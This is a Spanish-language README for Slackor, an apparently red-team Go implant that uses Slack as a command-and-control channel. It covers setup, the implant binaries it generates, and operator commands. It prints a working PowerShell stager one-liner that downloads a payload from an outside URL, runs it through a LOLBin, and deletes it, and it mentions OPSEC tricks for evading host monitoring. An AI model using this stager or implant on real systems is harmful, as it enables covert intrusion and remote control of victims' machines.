
Un implante en Golang que utiliza Slack como servidor de comando y control.
Mantenido en https://github.com/n00py/Slackor
Un implante en Golang que usa Slack como canal de comando y control.
Este proyecto fue inspirado por Gcat y Twittor.
Esta herramienta se publica como prueba de concepto. Asegúrese de leer y comprender la Política de Desarrollador de Aplicaciones de Slack antes de crear cualquier aplicación de Slack.
Nota: El servidor está escrito en Python 3
Para que esto funcione necesitas:
Un espacio de trabajo de Slack
Registra una aplicación con los siguientes permisos:
Crea un bot
Este repositorio contiene cinco archivos:
install.sh Instala dependenciassetup.py El script para crear los canales de Slack, la base de datos y el implanteagent.py Script para generar nuevos implantesserver.py El servidor Slackor, diseñado para ejecutarse en Linuxagent.go El implante en golangrequirements.txt Dependencias de Python (instaladas automáticamente)Para empezar:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
Después de ejecutar el script correctamente, se crearán varios archivos en el directorio dist/:
agent.windows.exe: Binario de Windows 64 bitsagent.upx.exe: Binario de Windows 64 bits, empaquetado con UPXagent.darwin: Binario de macOS 64 bitsagent.32.linux: Binario de Linux 32 bitsagent.64.linux: Binario de Linux 64 bitsDespués de iniciar server.py en un host Linux, ejecuta el agente que corresponda para tu host objetivo.
Ejecuta el módulo "stager" para generar un one-liner y otros droppers.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
Esto ejecutará InvokeWebRequest(PS v.3+) para descargar el payload, ejecutarlo usando un LOLBin, y luego eliminarse a sí mismo una vez terminado. Este es un ejemplo funcional, pero el comando se puede ajustar para usar otro método de descarga o ejecución.
Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles. Escribe "help [COMANDO]" para ver una descripción de ese comando.
(Slackor)
Una vez que un agente se registra, puedes interactuar con él. Usa "interact [AGENTE]" para ingresar al prompt del agente. Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles.
(Slackor:AGENTE)
La salida de comandos y los archivos descargados están cifrados con AES además del cifrado de transporte TLS de Slack.
Los módulos te advertirán antes de realizar tareas que escriban en disco.
Al ejecutar comandos de shell, ten en cuenta que se ejecutará cmd.exe/bash. Esto puede ser monitoreado en el host.
Aquí hay varios comandos seguros para OPSEC que NO ejecutarán cmd.exe/bash: